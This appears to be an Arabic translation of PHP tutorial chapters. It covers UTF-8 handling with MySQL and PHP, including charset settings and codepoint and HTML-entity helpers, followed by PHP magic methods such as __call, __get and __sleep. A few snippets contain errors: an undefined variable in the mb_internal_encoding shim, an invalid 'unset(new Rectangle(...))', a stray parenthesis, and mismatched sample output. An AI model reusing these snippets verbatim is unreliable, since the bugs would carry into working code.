ترويسة الرد. // HTML5 <meta charset="utf-8"> // ‫الإصدارات الأقدم من HTML‫ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> تخزين البيانات والوصول إليها تتحدث هذه الفقرة بشكلٍ أساسي عن الترميز UTF-8 ودوافع استخدامه مع قاعدة البيانات. تخزين البيانات في قاعدة بيانات MySQL: عندما تحدد مجموعة المحارف (character set) ‏utf8mb4 لكل الجداول والأعمدة النصية في قاعدة البيانات فأنت تجعل MySQL تخزّن وتستعيد القيم المرمّزة محليًا بالترميز UTF-8. تستخدم MySQL ضمنيًا الترميز utf8mb4 إذا حُدِّد الترتيب utf8mb4_*‎ (دون أي مجموعة محارف صريحة). لا تدعم النسخ القديمة من MySQL (الإصدار ما قبل ‏‎5.5.3‏) الترميز utf8mb4 لذا ستضطر إلى استخدام الترميز utf8 الذي يدعم مجموعة فرعية من محارف يونيكود (Unicode). الوصول إلى البيانات في قاعدة بيانات MySQL: في شيفرة التطبيق (PHP مثلًا)، مهما كانت الطريقة التي تستخدمها للوصول إلى قاعدة البيانات فأنت تحتاج إلى ضبط ترميز محارف الاتصال لتكون utf8mb4، بهذه الطريقة لا تحوّل MySQL من ترميز UTF-8 الأصلي عند تسليم البيانات إلى تطبيقك وبالعكس. توفر بعض برامج التشغيل آلية خاصة بها لضبط ترميز محارف الاتصال والتي تحدّث حالتها الداخلية وتُخبر MySQL بالترميز الذي سيُستخدم في الاتصال، وهذه هي الطريقة المفضّلة عادةً. مثلًا (نطبق نفس الدوافع التي في الأعلى فيما يتعلق باستخدام ‎utf8mb4/utf8‎😞 يمكنك تحديد ترميز المحارف باستخدام DSN إذا كنت تستخدم طبقة التجريد PDO ᠎مع إصدار PHP ≥ 5.3.6: $handle = new PDO('mysql:charset=utf8mb4'); يمكنك استدعاء الدالة set_charset()‎ إذا كنت تستخدم mysqli: $conn = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db'); // نمط كائني التوجه $conn->set_charset('utf8mb4'); // نمط إجرائي mysqli_set_charset($conn, 'utf8mb4'); يمكنك استدعاء الدالة mysql_set_charset إذا كنت تستخدم MySQL البسيطة وإصدار PHP ≥ 5.2.3. $conn = mysql_connect('localhost', 'my_user', 'my_password'); // نمط كائني التوجه $conn->set_charset('utf8mb4'); // نمط إجرائي mysql_set_charset($conn, 'utf8mb4'); إذا لم يوفر نظام تشغيل قاعدة البيانات آلية خاصة به لضبط ترميز محارف الاتصال، قد تضطر إلى إصدار استعلام لإخبار MySQL عن الطريقة التي يتوقع بها تطبيقك تشفير البيانات عند الاتصال بالشكل: SET NAMES 'utf8mb4'‎. دعم يونيكود في PHP تحويل محارف يونيكود إلى تنسيق "‎\uxxxx" باستخدام PHP يمكنك استخدام الشيفرة التالية للترميز وفك الترميز: if (!function_exists('codepoint_encode')) { function codepoint_encode($str) { return substr(json_encode($str), 1, -1); } } if (!function_exists('codepoint_decode')) { function codepoint_decode($str) { return json_decode(sprintf('"%s"', $str)); } } طريقة الاستخدام echo "\\nUse JSON encoding / decoding\\n"; var_dump(codepoint_encode("我好")); var_dump(codepoint_decode('\\u6211\\u597d')); الخرج: Use JSON encoding / decoding string(12) "\\u6211\\u597d" string(6) "我好" تحويل محارف يونيكود إلى قيمها الرقمية و/أو كيانات HTML باستخدام PHP يمكنك استخدام الشيفرة التالية للترميز وفك الترميز: if (!function_exists('mb_internal_encoding')) { function mb_internal_encoding($encoding = NULL) { return ($from_encoding === NULL) ? iconv_get_encoding() : iconv_set_encoding($encoding); } } if (!function_exists('mb_convert_encoding')) { function mb_convert_encoding($str, $to_encoding, $from_encoding = NULL) { return iconv(($from_encoding === NULL) ? mb_internal_encoding() : $from_encoding,$to_encoding, $str); } } if (!function_exists('mb_chr')) { function mb_chr($ord, $encoding = 'UTF-8') { if ($encoding === 'UCS-4BE') { return pack("N", $ord); } else { return mb_convert_encoding(mb_chr($ord, 'UCS-4BE'), $encoding, 'UCS-4BE'); } } } if (!function_exists('mb_ord')) { function mb_ord($char, $encoding = 'UTF-8') { if ($encoding === 'UCS-4BE') { list(, $ord) = (strlen($char) === 4) ? @unpack('N', $char) : @unpack('n', $char); return $ord; } else { return mb_ord(mb_convert_encoding($char, 'UCS-4BE', $encoding), 'UCS-4BE'); } } } if (!function_exists('mb_htmlentities')) { function mb_htmlentities($string, $hex = true, $encoding = 'UTF-8') { return preg_replace_callback('/[\x{80}-\x{10FFFF}]/u', function ($match) use ($hex) { return sprintf($hex ? '&#x%X;' : '&#%d;', mb_ord($match[0])); }, $string); } } if (!function_exists('mb_html_entity_decode')) { function mb_html_entity_decode($string, $flags = null, $encoding = 'UTF-8') { return html_entity_decode($string, ($flags === NULL) ? ENT_COMPAT | ENT_HTML401 : $flags,$encoding); } } طريقة الاستخدام echo "Get string from numeric DEC value\n"; var_dump(mb_chr(50319, 'UCS-4BE')); var_dump(mb_chr(271)); echo "\nGet string from numeric HEX value\n"; var_dump(mb_chr(0xC48F, 'UCS-4BE')); var_dump(mb_chr(0x010F)); echo "\nGet numeric value of character as DEC string\n"; var_dump(mb_ord('ď', 'UCS-4BE')); var_dump(mb_ord('ď')); echo "\nGet numeric value of character as HEX string\n"; var_dump(dechex(mb_ord('ď', 'UCS-4BE'))); var_dump(dechex(mb_ord('ď'))); echo "\nEncode / decode to DEC based HTML entities\n"; var_dump(mb_htmlentities('tchüß', false)); var_dump(mb_html_entity_decode('tchüß')); echo "\nEncode / decode to HEX based HTML entities\n"; var_dump(mb_htmlentities('tchüß')); var_dump(mb_html_entity_decode('tchüß')); الخرج: Get string from numeric DEC value string(4) "ď" string(2) "ď" Get string from numeric HEX value string(4) "ď" string(2) "ď" Get numeric value of character as DEC int int(50319) int(271) Get numeric value of character as HEX string string(4) "c48f" string(3) "10f" Encode / decode to DEC based HTML entities string(15) "tch&#252;&#223;" string(7) "tchüß" Encode / decode to HEX based HTML entities string(15) "tch&#xFC;&#xDF;" string(7) "tchüß" استخدام الإضافة Intl لدعم يونيكود تُربط دوال السلسلة النصية الأصلية إلى دوال البايت المفرد ولا تعمل بشكلٍ جيد مع ترميز يونيكود (unicode)، توفر الإضافات iconv وmbstring بعض الدعم لترميز يونيكود بينما توفر الإضافة Intl الدعم الكامل. تعدّ الإضافة Intl مغلّفة للمعيار المعتمد لمكتبة ICU (‏International Components for unicode)، يمكنك الاطلاع على الموقع لمعرفة المزيد من المعلومات التفصيلية غير الموجودة هنا. اطّلع على تنفيذ بديل للإضافة Intl من بيئة العمل Symfony إذا لم تتمكن من تثبيت الإضافة. توفر ICU تدويلًا كاملًا وترميز يونيكود هو جزء صغير منه، يمكنك التحويل بسهولة: // إزالة البايتات السيئة للحماية من الهجمات \UConverter::transcode($sString, 'UTF-8', 'UTF-8'); لكن يجب ألا تتخلى عن الإضافة iconv: \iconv('UTF-8', 'ASCII//TRANSLIT', "Cliënt"); // "Client" ترجمة -وبتصرف- للفصول [File handling - Streams - UTF-8 - Unicode Support in PHP] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: المرشحات ودوال المرشح (Filter) المعقمة في PHP المقال السابق: التوابع السحرية (Magic Methods) في PHP
  25. ‎call()‎__ و‎callStatic()‎__ يُستدعى التابعين ‎__call()‎ و‎__callStatic()‎ عندما تريد استدعاء تابع كائن غير موجود في سياق تابع أو سياق ساكن. في الشيفرة التالية يُستدعى التابع ‎__call()‎ عندما يحاول شخص ما استدعاء تابع في سياق كائن غير موجود مثل ‎$foo->method($arg, $arg1);‎، سيحتوي الوسيط الأول على اسم التابع وهو method في مثالنا وسيحتوي الوسيط الثاني على قيم ‎$arg و‎$arg1 كمصفوفة. ويُستدعى التابع ‎__callStatic()‎ من محتوى ساكن عند استدعاء تابع ساكن غير موجود، مثلًا Foo::buildSomethingCool($arg);‎، سيحتوي الوسيط الأول على اسم التابع وهو buildSomethingCool في مثالنا ويحتوي الوسيط الثاني على قيمة ‎$arg في مصفوفة. لاحظ أنّ بصمة هذا التابع مختلفة (يتطلب الكلمة المفتاحية static)، هذا التابع لم يكن موجودًا قبل الإصدار PHP 5.3. class Foo { public function __call($method, $arguments) { // (1) $snakeName = CaseHelper::camelToSnake($method); // الحصول على البادئة $subMethod = substr($snakeName, 0, 3); // إسقاط اسم التابع $propertyName = substr($snakeName, 4); switch ($subMethod) { case "get": return $this->data[$propertyName]; case "set": $this->data[$propertyName] = $arguments[0]; break; case "has": return isset($this->data[$propertyName]); default: throw new BadMethodCallException("Undefined method $method"); } } public static function __callStatic($method, $arguments) { // يمكن استخدام هذا التابع عندما تحتاج شيء ما مثل مصنع عام أو شيء ما آخر print_r(func_get_args()); } } في الموضع (1) نفعل شيء ما مع المعلومات مثل زيادة التحميل أو شيء عام، فمثلًا لنفرض أننا نكتب صنفًا عامًا يحمل بعض البيانات ويسمح للمستخدم بأن يجلبها ويضبطها باستخدام التوابع الجالب والضابط، وكان لدينا الصنف CaseHelper يساعد على تحويل نمط سنام الجمل (camelCase) إلى نمط الثعبان (snake_case). هذا التابع مبسّط لذا لا يتحقق من صلاحية الاسم أو عدمها. مثال: $instance = new Foo(); $instance->setSomeState("foo"); var_dump($instance->hasSomeState()); // bool(true) var_dump($instance->getSomeState()); // string "foo" Foo::exampleStaticCall("test"); /* Array ( [0] => exampleCallStatic [1] => test ) */ ‎get()‎__ و‎__set()‎ و‎__isset()‎ و‎__unset()‎ كلما حاولت استعادة حقل معين من صنف كما في الشيفرة: $animal = new Animal(); $height = $animal->height; تستدعي PHP التابع السحري ‎__get($name)‎ ويكون ‎$name هو "height" في حالتنا. كتابة حقل ما من الصنف كالتالي: $animal->height = 10; ستستدعي التابع السحري ‎__set($name, $value),‎ ويكون ‎$name هو "height" و‎$value هو 10. لدينا في PHP أيضًا تابعين مدمجين هما ‎isset()‎ الذي يتحقق من وجود متغير، وunset‎()‎ الذي يدمر متغير. إنّ الشيفرة التالية: isset($animal->height); ستستدعي الدالة ‎__isset($name)‎ على ذلك الكائن، كما أنّ إزالة تعيين متغير كما في الشيفرة: unset($animal->height); ستستدعي الدالة ‎__unset($name)‎ على ذلك الكائن. تستعيد PHP الحقل كما هو مخزن في الصنف عندما لاتعرّف هذه التوابع في صنفك، لكن يمكنك تجاوز هذه التوابع لإنشاء أصناف يمكنها أن تحمل بيانات مثل المصفوفة لكنها قابلة للاستخدام ككائن: class Example { private $data = []; public function __set($name, $value) { $this->data[$name] = $value; } public function __get($name) { if (!array_key_exists($name, $this->data)) { return null; } return $this->data[$name]; } public function __isset($name) { return isset($this->data[$name]); } public function __unset($name) { unset($this->data[$name]); } } $example = new Example(); // وقيمتها 15 $data في المصفوفة 'a' تخزين $example->a = 15; // $data من المصفوفة 'a' استعادة مفتاح المصفوفة echo $example->a; // 15 // null محاولة استعادة مفتاح غير موجود في المصفوفة تُعيد echo $example->b; // لا يطبع شيء if (isset($example->a)) { unset($example->a)); } الدالة empty()‎‍ والتوابع السحرية لاحظ أنّ استدعاء الدالة empty()‎ على خاصيّة صنف ستستدعي الدالة ‎__isset($name)‎ حسب ما ورد في توثيق PHP: ‏empty()‎ هي المكافئ المختصر للشيفرة: !isset($var) || $var == false ‎__construct()‎ و‎__destruct()‎ ‎__construct()‎ هو التابع السحري الأشهر في PHP لأنّه يُستخدم لضبط صنف عند تهيئته، أما التابع العكسي له ‎__destruct()‎ فإنّه يُستدعى عندما لا يوجد مراجع متبقية للكائن الذي أنشأته أو عندما تفرض حذفه وعندها ستقوم مجموعة المهملات بتنظيف الكائن عن طريق استدعاء الهادم أولًا ثمّ حذفه من الذاكرة: class Shape { public function __construct() { echo "Shape created!\n"; } } class Rectangle extends Shape { public $width; public $height; public function __construct($width, $height) { parent::__construct(); $this->width = $width; $this->height = $height; echo "Created {$this->width}x{$this->height} Rectangle\n"; } public function __destruct() { echo "Destroying {$this->width}x{$this->height} Rectangle\n"; } } function createRectangle() { // (1) $rectangle = new Rectangle(20, 50); // (2) } createRectangle(); // (3) // (4) unset(new Rectangle(20, 50)); في الموضع (1) ستستدعي تهيئة الكائن الباني مع الوسطاء المحددين. في الموضع (2) سيُطبع 'Shape Created' ثم 'Created 20x50 Rectangle'. في الموضع (3) سيُطبع 'Destroying 20x50 Rectangle' لأنّ الكائن ‎$rectangle هو كائن محلي بالنسبة للدالة createRectangle لذا عندما ينتهي نطاق الدالة سيُدمَّر الكائن ويُستدعى هادمه. في الموضع (4) سيُستدعى هادم الكائن عند استخدام الدالة unset. ‎__toString()‎ يُستدعى التابع ‎__toString()‎ عندما يُعامل الكائن على أنّه سلسلة نصية، ويعيد سلسلة نصية تمثّل الصنف: class User { public $first_name; public $last_name; public $age; public function __toString() { return "{$this->first_name} {$this->last_name} ($this->age)"; } } $user = new User(); $user->first_name = "Chuck"; $user->last_name = "Norris"; $user->age = 76; // في سياق سلسلة $user كلما اُستخدم الكائن‏ __toString() سيُستدعى التابع‏‏ echo $user; // Chuck Norris (76) // Selected user: Chuck Norris (76) :أصبحت قيمة السلسلة النصية $selected_user_string = sprintf("Selected user: %s", $user); // __toString() التحويل إلى سلسلة نصية يستدعي أيضًا $user_as_string = (string) $user; ‎__clone()‎ يُستدعَى التابع ‎__clone باستخدام الكلمة المفتاحية clone، ويستخدم لمعالجة حالة كائن عند النسخ بعد أن يكون الكائن قد نُسخَ فعلًا. class CloneableUser { public $name; public $lastName; // "Copy " سيُستدعى هذا التابع بعامل النسخ ويضيف قبل خاصيّات‏‏‏ الاسم والاسم الأخير الكلمة‏ public function __clone() { $this->name = "Copy " . $this->name; $this->lastName = "Copy " . $this->lastName; } } مثال: $user1 = new CloneableUser(); $user1->name = "John"; $user1->lastName = "Doe"; // __clone تنفيذ التابع السحري $user2 = clone $user1; echo $user2->name; // Copy John echo $user2->lastName; // Copy Doe ‎__invoke()‎ يُستدعى هذا التابع السحري عندما يحاول المستخدم استدعاء كائن كدالة، قد تتضمن حالات الاستخدام الممكنة بعض الطرق مثل البرمجة الوظيفية أو بعض ردود النداء. سيُستدعى التابع في الشيفرة التالية إذا نُفِّذ الكائن كدالة: ‎$invokable();‎ وستمرر الوسائط كما في استدعاء التابع العادي: class Invokable { public function __invoke($arg, $arg, ...) { print_r(func_get_args()); } } مثال: $invokable = new Invokable(); $invokable([1, 2, 3]); /* Array ( [0] => 1 [1] => 2 [2] => 3 ) */ ‎⁠__sleep()‎ و‎__wakeup()‎ يرتبط التابعان ‎__sleep و‎__wakeup بعملية السَلسَلة، تتحقق الدالة serialize إذا كان للصنف تابع ‎__sleep‎، إذا كان موجودًا سيُنفَّذ قبل أي سَلسَلة ويُفترض أن يعيد مصفوفة من أسماء كل المتغيرات للكائن الذي يجب أن يُسلسَل. وسيُنفَّذ التابع ‎__wakeup بدوره من قبل الدالة unserialize إذا وُجد في الصنف، ويهدف إلى إعادة إنشاء الموارد والأشياء الأخرى التي نحتاج تهيئتها بعد إلغاء التسلسل. في الشيفرة التالية سيُنفَّذ التابع السحري ‎__sleep من قِبل الدالة serialize ولاحظ أنّ ‎$dbConnection مُستبعد، وسيُنفَّذ التابع السحري ‎__wakeup من قِبل الدالة unserialize، لنفرض مثلًا أنّ ‎$this->c الذي لم يُسَلسَل هو نوع من الاتصال بقاعدة البيانات سيُعيد الاتصال عندما نستخدم تابع الاستيقاظ. class Sleepy { public $tableName; public $tableFields; public $dbConnection; public function __sleep() { // فقط $this->tableNameو $this->tableFields سيُسَلسَل return ['tableName', 'tableFields']; } public function __wakeup() { // الاتصال بقاعدة البيانات الافتراضية وتخزين المُعالج/المُغلِّف فيها // $this->dbConnection $this->dbConnection = DB::connect(); } } ‎__debugInfo()‎ يُستدعى هذا التابع من قِبل الدالة var_dump()‎ عند تفريغ كائن للحصول على الخاصيّات التي يجب عرضها، إذا لم يُعرَّف التابع على الكائن ستُعرَض كل الخاصيّات العامة والمحمية والخاصة. class DeepThought { public function __debugInfo() { return [42]; } } الإصدار PHP ≤ 5.6 var_dump(new DeepThought()); خرج الشيفرة السابقة: class DeepThought#1 (0) { } الإصدار PHP ≥ 5.6 var_dump(new DeepThought()); خرج الشيفرة السابقة: class DeepThought#1 (1) { public ${0} => int(42) } ترجمة -وبتصرف- للفصل [Magic Methods] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: معالجة الملفات والبيانات المرمزة بترميز UTF-8 في PHP المقال السابق: مدخل إلى الملحن composer: مدير الاعتماديات والحزم في PHP
×
×
  • أضف...